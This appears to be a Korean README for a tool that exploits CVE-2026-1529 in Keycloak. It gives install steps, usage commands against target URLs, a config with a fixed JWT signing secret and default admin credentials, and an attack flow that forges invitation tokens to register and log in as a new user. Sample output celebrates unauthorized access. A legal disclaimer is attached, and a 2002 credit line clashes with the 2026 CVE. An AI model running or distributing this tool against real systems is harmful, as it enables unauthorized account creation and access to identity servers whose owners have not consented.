# 저장소 복제
git clone https://github.com/yourusername/cve-2026-1529-exploit.git
cd cve-2026-1529-exploit

# 가상 환경 생성
python3 -m venv venv
source venv/bin/activate  # Windows: venv\Scripts\activate

# 의존성 설치
pip install -r requirements.txt

# 디렉터리 구조 생성
mkdir -p keycloak-exploit/{utils,config,logs,output/reports}
cd keycloak-exploit

# 릴리스에서 파일 다운로드 또는 수동 복사
# 그런 다음 의존성 설치
pip install requests urllib3 PyJWT

keycloak-exploit/
├── keycloak-exploit.py           # 메인 익스플로잇 스크립트
├── requirements.txt              # Python 의존성
├── README.md                     # 이 파일
├── config/
│   └── default_config.json       # 구성 파일
├── utils/
│   ├── __init__.py              # 패키지 초기화
│   ├── http_utils.py            # HTTP 클라이언트 유틸리티
│   ├── jwt_utils.py             # JWT 조작
│   └── crypto_utils.py          # 암호화 유틸리티
├── logs/                         # 자동 생성 로그
└── output/
    └── reports/                  # 익스플로잇 보고서

python3 keycloak-exploit.py https://target-keycloak.com

# 사용자 지정 초대 토큰 사용
python3 keycloak-exploit.py -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... https://target.com

# 사용자 지정 조직 ID 사용
python3 keycloak-exploit.py -o custom_org_id https://target.com

# 사용자 지정 구성 파일 사용
python3 keycloak-exploit.py -c /path/to/config.json https://target.com

# 디버그 로깅 활성화
python3 keycloak-exploit.py -d https://target.com

# 도움말 표시
python3 keycloak-exploit.py -h

# 버전 표시
python3 keycloak-exploit.py -v

{
    "exploit": {
        "default_username": "admin_user_2026",
        "default_password": "KeycloakCVE2026!",
        "default_email": "[email protected]",
        "timeout": 30,
        "max_retries": 3
    },
    "jwt": {
        "algorithm": "HS256",
        "secret_key": "keycloak-cve-2026-1529-exploit",
        "token_expiry": 3600
    },
    "target": {
        "endpoints": {
            "realms": "/realms",
            "organizations": "/organizations",
            "register": "/register",
            "login": "/login"
        }
    },
    "output": {
        "log_level": "INFO",
        "save_reports": true,
        "report_format": "txt"
    }
}

┌─────────────────┐
│  대상 확인      │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│  토큰 생성/획득 │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│ 토큰 조작       │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│ 사용자 등록     │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│  로그인 테스트  │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│  보고서 생성    │
└─────────────────┘

============================================================
CVE-2026-1529 EXPLOIT RESULTS
============================================================
✓ 대상이 CVE-2026-1529에 취약합니다

🎯 익스플로잇 성공!
사용자 이름: admin_user_2026
비밀번호: KeycloakCVE2026!
이메일: [email protected]
로그인 링크: https://target.com/realms/master/account

📄 보고서 저장 위치: output/reports/exploit_report_20260211_050507.txt

🔐 제공된 자격 증명을 사용하여 Keycloak 인스턴스에 접근하세요!
⚠️  이는 CVE-2026-1529로 인한 무단 접근을 시연합니다

============================================================
by f3ds cr3w est, 2002
============================================================

# 올바른 디렉터리에 있는지 확인
cd keycloak-exploit
python3 keycloak-exploit.py https://target.com

# config 디렉터리가 존재하는지 확인
mkdir -p config
# config/에 default_config.json 복사 또는 생성

pip install --upgrade urllib3

# 더 많은 세부 정보를 보려면 디버그 로깅 활성화
python3 keycloak-exploit.py -d https://target.com

# config/default_config.json에서 시간 초과 증가
"timeout": 60

python3 keycloak-exploit.py -d https://target.com

⚠️ 중요 법적 고지 ⚠️

이 도구는 교육 및 공인된 보안 테스트 목적으로만 제공됩니다.

이 도구를 사용함으로써 다음 사항에 동의합니다:

1. 소유하거나 명시적 서면 허가를 받은 시스템에서만 이 도구를 사용합니다.

2. 컴퓨터 시스템에 대한 무단 접근은 다음을 포함하되 이에 국한되지 않는
   법률에 따라 불법임을 이해합니다:
   - 컴퓨터 사기 및 남용법(CFAA) - 미국
   - 컴퓨터 남용법 - 영국
   - 기타 국가의 유사 법률

3. 이 도구 사용으로 인한 모든 결과에 대한 전적인 책임을 수락합니다.

4. 작성자와 기여자는 이 도구로 인한 오용이나 손해에 대해 책임을 지지 않습니다.

5. 이 도구는 어떠한 종류의 보증 없이 "있는 그대로" 제공됩니다.

본인 책임 하에 사용하세요. 무단 접근은 범죄입니다.

# 포크 복제
git clone https://github.com/yourusername/cve-2026-1529-exploit.git
cd cve-2026-1529-exploit

# 가상 환경 생성
python3 -m venv venv
source venv/bin/activate

# 의존성 설치
pip install -r requirements.txt

# 변경 사항 적용 및 테스트
python3 keycloak-exploit.py https://test-target.com